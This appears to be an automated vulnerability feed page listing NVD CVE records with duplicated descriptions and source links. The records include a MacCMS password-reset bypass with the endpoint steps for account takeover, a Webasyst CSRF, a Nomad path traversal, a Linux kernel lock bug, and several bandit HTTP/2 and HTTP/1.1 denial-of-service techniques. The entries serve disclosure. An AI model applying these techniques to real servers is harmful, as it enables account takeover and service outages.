NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
HashiCorp Nomad and Nomad Enterprise prior to 2.0.1 are vulnerable to code execution on the client host through a path traversal attack. This vulnerability (CVE-2026-7474) is fixed in Nomad 2.0.1, 1.11.5 and 1.10.11.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Webasyst Framework through 4.4.0 contains a cross-site request forgery vulnerability in the Photos app that allows remote attackers to perform backend actions because the app does...
https://kevwire.com/record/CVE-2026-116210
Webasyst Framework through 4.4.0 contains a cross-site request forgery vulnerability in the Photos app that allows remote attackers to perform backend actions because the app does... (Oct 26, 2026).
Webasyst Framework through 4.4.0 contains a cross-site request forgery vulnerability in the Photos app that allows remote attackers to perform backend actions because the app does not enable the framework's opt-in CSRF check. Attackers can lure logged-in Photos users to a malicious page that submits forged POST requests to photo/delete, album/save, photo/manageAccessSave or photo/saveField, deleting photos and changing access rights.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116210).
Sources:
NVD CVE-2026-116210: https://nvd.nist.gov/vuln/detail/CVE-2026-116210
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
Webasyst Framework through 4.4.0 contains a cross-site request forgery vulnerability in the Photos app that allows remote attackers to perform backend actions because the app does not enable the framework's opt-in CSRF check. Attackers can lure logged-in Photos users to a malicious page that submits forged POST requests to photo/delete, album/save, photo/manageAccessSave or photo/saveField, deleting photos and changing access rights.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MacCMS v10 before 2026.1000.4054 contains an authentication bypass vulnerability that allows unauthenticated attackers to reset any member's password because check_msg() never...
https://kevwire.com/record/CVE-2026-116214
MacCMS v10 before 2026.1000.4054 contains an authentication bypass vulnerability that allows unauthenticated attackers to reset any member's password because check_msg() never... (Oct 26, 2026).
MacCMS v10 before 2026.1000.4054 contains an authentication bypass vulnerability that allows unauthenticated attackers to reset any member's password because check_msg() never compares msg_to. Attackers can request a recovery code to their own mailbox via user/findpass_msg, then submit it to user/findpass_reset with the victim's email or phone to take over the account.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116214).
Sources:
NVD CVE-2026-116214: https://nvd.nist.gov/vuln/detail/CVE-2026-116214
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
MacCMS v10 before 2026.1000.4054 contains an authentication bypass vulnerability that allows unauthenticated attackers to reset any member's password because check_msg() never compares msg_to. Attackers can request a recovery code to their own mailbox via user/findpass_msg, then submit it to user/findpass_reset with the victim's email or phone to take over the account.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: drm/gpusvm: Fix unbalanced unlock in drm_gpusvm_scan_mm()
https://kevwire.com/record/CVE-2026-63863
Linux kernel: drm/gpusvm: Fix unbalanced unlock in drm_gpusvm_scan_mm() (Jul 19, 2026).
In the Linux kernel, the following vulnerability has been resolved:

drm/gpusvm: Fix unbalanced unlock in drm_gpusvm_scan_mm()

There is a unbalanced lock/unlock to gpusvm notifier lock:
[  931.045868] =====================================
[  931.046509] WARNING: bad unlock balance detected!
[  931.047149] 6.19.0-rc6+xe-**************** #9 Tainted: G     U
[  931.048150] -------------------------------------
[  931.048790] kworker/u5:0/51 is trying to release lock (&gpusvm->notifier_lock) at:
[  931.049801] [<ffffffffa090c0d8>] drm_gpusvm_scan_mm+0x188/0x460 [drm_gpusvm_helper]
[  931.050802] but there are no more locks to release!
[  931.051463]

The drm_gpusvm_notifier_unlock() sits under err_free label and the
first jump to err_free is just before calling the
drm_gpusvm_notifier_lock() causing unbalanced unlock.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63863).
Sources:
NVD CVE-2026-63863: https://nvd.nist.gov/vuln/detail/CVE-2026-63863
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
In the Linux kernel, the following vulnerability has been resolved:

drm/gpusvm: Fix unbalanced unlock in drm_gpusvm_scan_mm()

There is a unbalanced lock/unlock to gpusvm notifier lock:
[  931.045868] =====================================
[  931.046509] WARNING: bad unlock balance detected!
[  931.047149] 6.19.0-rc6+xe-**************** #9 Tainted: G     U
[  931.048150] -------------------------------------
[  931.048790] kworker/u5:0/51 is trying to release lock (&gpusvm->notifier_lock) at:
[  931.049801] [<ffffffffa090c0d8>] drm_gpusvm_scan_mm+0x188/0x460 [drm_gpusvm_helper]
[  931.050802] but there are no more locks to release!
[  931.051463]

The drm_gpusvm_notifier_unlock() sits under err_free label and the
first jump to err_free is just before calling the
drm_gpusvm_notifier_lock() causing unbalanced unlock.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to exhaust server...
https://kevwire.com/record/CVE-2026-108525
Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to exhaust server... (Oct 26, 2026).
Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to exhaust server memory via DATA frames sent past the advertised receive window. The attacker requests a response larger than the 65,535-byte initial window and withholds WINDOW_UPDATE, so the stream process blocks while sending and stops reading, then floods small DATA frames on that stream. Every frame is queued in the stream's mailbox until the BEAM node runs out of memory.

Bandit.HTTP2.Connection.handle_frame/3 in lib/bandit/http2/connection.ex forwards each DATA frame to the stream process without consulting the receive window, and Bandit.HTTP2.FlowControl.compute_recv_window/2 replenishes the window as data arrives rather than as it is consumed, and never answers a violation with FLOW_CONTROL_ERROR.

This issue affects bandit: from 0.3.1 before 1.14.0.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108525).
Sources:
NVD CVE-2026-108525: https://nvd.nist.gov/vuln/detail/CVE-2026-108525
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to exhaust server memory via DATA frames sent past the advertised receive window. The attacker requests a response larger than the 65,535-byte initial window and withholds WINDOW_UPDATE, so the stream process blocks while sending and stops reading, then floods small DATA frames on that stream. Every frame is queued in the stream's mailbox until the BEAM node runs out of memory.

Bandit.HTTP2.Connection.handle_frame/3 in lib/bandit/http2/connection.ex forwards each DATA frame to the stream process without consulting the receive window, and Bandit.HTTP2.FlowControl.compute_recv_window/2 replenishes the window as data arrives rather than as it is consumed, and never answers a violation with FLOW_CONTROL_ERROR.

This issue affects bandit: from 0.3.1 before 1.14.0.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Inefficient Algorithmic Complexity vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to exhaust server CPU via small SETTINGS...
https://kevwire.com/record/CVE-2026-108529
Inefficient Algorithmic Complexity vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to exhaust server CPU via small SETTINGS... (Oct 26, 2026).
Inefficient Algorithmic Complexity vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to exhaust server CPU via small SETTINGS or connection-level WINDOW_UPDATE frames. The attacker opens thousands of streams whose responses block on the connection send window, then sends cheap frames that each make the server walk the whole queue of blocked sends. In the reporter's run, with 3,000 blocked streams a single 9-byte SETTINGS frame took 133 ms to process.

do_pending_sends/2 in lib/bandit/http2/connection.ex retries every queued send and, before each retry, removes that entry from the queue with List.delete/2, so one frame costs O(n²) list operations for n blocked streams. max_concurrent_streams defaults to :infinity, so the attacker chooses n.

This issue affects bandit: from 0.3.4 before 1.14.0.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108529).
Sources:
NVD CVE-2026-108529: https://nvd.nist.gov/vuln/detail/CVE-2026-108529
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
Inefficient Algorithmic Complexity vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to exhaust server CPU via small SETTINGS or connection-level WINDOW_UPDATE frames. The attacker opens thousands of streams whose responses block on the connection send window, then sends cheap frames that each make the server walk the whole queue of blocked sends. In the reporter's run, with 3,000 blocked streams a single 9-byte SETTINGS frame took 133 ms to process.

do_pending_sends/2 in lib/bandit/http2/connection.ex retries every queued send and, before each retry, removes that entry from the queue with List.delete/2, so one frame costs O(n²) list operations for n blocked streams. max_concurrent_streams defaults to :infinity, so the attacker chooses n.

This issue affects bandit: from 0.3.4 before 1.14.0.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to exhaust...
https://kevwire.com/record/CVE-2026-109584
Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to exhaust... (Oct 26, 2026).
Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to exhaust server memory via a small HPACK-compressed HEADERS block. The block stores one large cookie value in the HPACK dynamic table and then references it tens of thousands of times with 1-byte indexed fields. In the reporter's run, a 49 KB block made a server with default settings allocate a 183 MB cookie binary before any application code ran, and every concurrent stream can repeat the cost.

Bandit.HTTP2.Connection caps only the compressed block (max_header_block_size), and its check of the decoded list against max_header_list_size never fires because that setting defaults to :infinity. combine_cookie_crumbs/1 in lib/bandit/http2/stream.ex then joins every crumb into one binary.

This issue affects bandit: from 0.3.3 before 1.14.0.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109584).
Sources:
NVD CVE-2026-109584: https://nvd.nist.gov/vuln/detail/CVE-2026-109584
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to exhaust server memory via a small HPACK-compressed HEADERS block. The block stores one large cookie value in the HPACK dynamic table and then references it tens of thousands of times with 1-byte indexed fields. In the reporter's run, a 49 KB block made a server with default settings allocate a 183 MB cookie binary before any application code ran, and every concurrent stream can repeat the cost.

Bandit.HTTP2.Connection caps only the compressed block (max_header_block_size), and its check of the decoded list against max_header_list_size never fires because that setting defaults to :infinity. combine_cookie_crumbs/1 in lib/bandit/http2/stream.ex then joins every crumb into one binary.

This issue affects bandit: from 0.3.3 before 1.14.0.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to grow per-connection...
https://kevwire.com/record/CVE-2026-110499
Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to grow per-connection... (Oct 26, 2026).
Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to grow per-connection memory and CPU cost without bound via a large SETTINGS_HEADER_TABLE_SIZE. Bandit resizes its HPACK encoder table to whatever size the client advertises, up to 2^32-1 bytes, and indexes response headers into it. Because responses carry distinct values such as date or content-length, nothing is evicted and the table grows with every response for the life of the connection, while each lookup scans it linearly.

The SETTINGS handling in Bandit.HTTP2.Connection (lib/bandit/http2/connection.ex) passes remote_settings.header_table_size to HPAX.resize/2 with no server-side cap, and encode_headers encodes every response header as :store. Serving N responses on one connection therefore costs O(N²) CPU in the connection process.

This issue affects bandit: from 0.3.6 before 1.14.0.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110499).
Sources:
NVD CVE-2026-110499: https://nvd.nist.gov/vuln/detail/CVE-2026-110499
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to grow per-connection memory and CPU cost without bound via a large SETTINGS_HEADER_TABLE_SIZE. Bandit resizes its HPACK encoder table to whatever size the client advertises, up to 2^32-1 bytes, and indexes response headers into it. Because responses carry distinct values such as date or content-length, nothing is evicted and the table grows with every response for the life of the connection, while each lookup scans it linearly.

The SETTINGS handling in Bandit.HTTP2.Connection (lib/bandit/http2/connection.ex) passes remote_settings.header_table_size to HPAX.resize/2 with no server-side cap, and encode_headers encodes every response header as :store. Serving N responses on one connection therefore costs O(N²) CPU in the connection process.

This issue affects bandit: from 0.3.6 before 1.14.0.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/1.1 chunked body reader of mtrudel bandit allows an unauthenticated remote attacker to exhaust...
https://kevwire.com/record/CVE-2026-111101
Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/1.1 chunked body reader of mtrudel bandit allows an unauthenticated remote attacker to exhaust... (Oct 26, 2026).
Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/1.1 chunked body reader of mtrudel bandit allows an unauthenticated remote attacker to exhaust server memory and CPU via a request body made of many 1-byte chunks.

The chunked reader in lib/bandit/http1/socket.ex keeps every chunk as its own list cell and binary term until IO.iodata_to_binary/1 joins them, and nothing limits the number of chunks. The :length option of read_body/2 counts only data bytes, so tiny chunks cost far more memory than their payload: 48 MB of 1-byte chunks grew one handler process to about 500 MB and took about 6 s of CPU. The route does not need to read the body, because on keep-alive connections ensure_completed/1 drains unread bodies through the same reader.

This issue affects bandit: from 0.1.0 before 1.14.0.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111101).
Sources:
NVD CVE-2026-111101: https://nvd.nist.gov/vuln/detail/CVE-2026-111101
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/1.1 chunked body reader of mtrudel bandit allows an unauthenticated remote attacker to exhaust server memory and CPU via a request body made of many 1-byte chunks.

The chunked reader in lib/bandit/http1/socket.ex keeps every chunk as its own list cell and binary term until IO.iodata_to_binary/1 joins them, and nothing limits the number of chunks. The :length option of read_body/2 counts only data bytes, so tiny chunks cost far more memory than their payload: 48 MB of 1-byte chunks grew one handler process to about 500 MB and took about 6 s of CPU. The route does not need to read the body, because on keep-alive connections ensure_completed/1 drains unread bodies through the same reader.

This issue affects bandit: from 0.1.0 before 1.14.0.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Cleanup on Thrown Exception vulnerability in the HTTP/2 handler of mtrudel bandit allows an unauthenticated remote attacker to bypass per-connection resource limits via a...
https://kevwire.com/record/CVE-2026-111103
Improper Cleanup on Thrown Exception vulnerability in the HTTP/2 handler of mtrudel bandit allows an unauthenticated remote attacker to bypass per-connection resource limits via a... (Oct 26, 2026).
Improper Cleanup on Thrown Exception vulnerability in the HTTP/2 handler of mtrudel bandit allows an unauthenticated remote attacker to bypass per-connection resource limits via a single TCP write that carries several frames, one of which raises a stream error.

When a frame raises StreamError partway through a chunk, Bandit.HTTP2.Handler.handle_data/3 sends RST_STREAM and continues with the connection state from before the chunk, dropping the rest of it. Streams opened by earlier frames in the chunk keep running their Plug calls, but the stream counts, last_stream_id, the rapid-reset timestamps, the HPACK decoder state and the buffer roll back, so max_concurrent_streams, max_requests and the rapid-reset limiter never see those streams. A client that sends one HEADERS frame more than max_concurrent_streams in each write has the extra refused and the others forgotten: with a limit of 10, five such writes run 50 Plug calls at once.

This issue affects bandit: from 1.9.0 before 1.14.0.
CVSS 8.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111103).
Sources:
NVD CVE-2026-111103: https://nvd.nist.gov/vuln/detail/CVE-2026-111103
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
Improper Cleanup on Thrown Exception vulnerability in the HTTP/2 handler of mtrudel bandit allows an unauthenticated remote attacker to bypass per-connection resource limits via a single TCP write that carries several frames, one of which raises a stream error.

When a frame raises StreamError partway through a chunk, Bandit.HTTP2.Handler.handle_data/3 sends RST_STREAM and continues with the connection state from before the chunk, dropping the rest of it. Streams opened by earlier frames in the chunk keep running their Plug calls, but the stream counts, last_stream_id, the rapid-reset timestamps, the HPACK decoder state and the buffer roll back, so max_concurrent_streams, max_requests and the rapid-reset limiter never see those streams. A client that sends one HEADERS frame more than max_concurrent_streams in each write has the extra refused and the others forgotten: with a limit of 10, five such writes run 50 Plug calls at once.

This issue affects bandit: from 1.9.0 before 1.14.0.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Inefficient Algorithmic Complexity vulnerability in the header integer parser of mtrudel bandit allows an unauthenticated remote attacker to consume server CPU via a...
https://kevwire.com/record/CVE-2026-113436
Inefficient Algorithmic Complexity vulnerability in the header integer parser of mtrudel bandit allows an unauthenticated remote attacker to consume server CPU via a... (Oct 26, 2026).
Inefficient Algorithmic Complexity vulnerability in the header integer parser of mtrudel bandit allows an unauthenticated remote attacker to consume server CPU via a content-length value or a Host or :authority port made of thousands of digits.

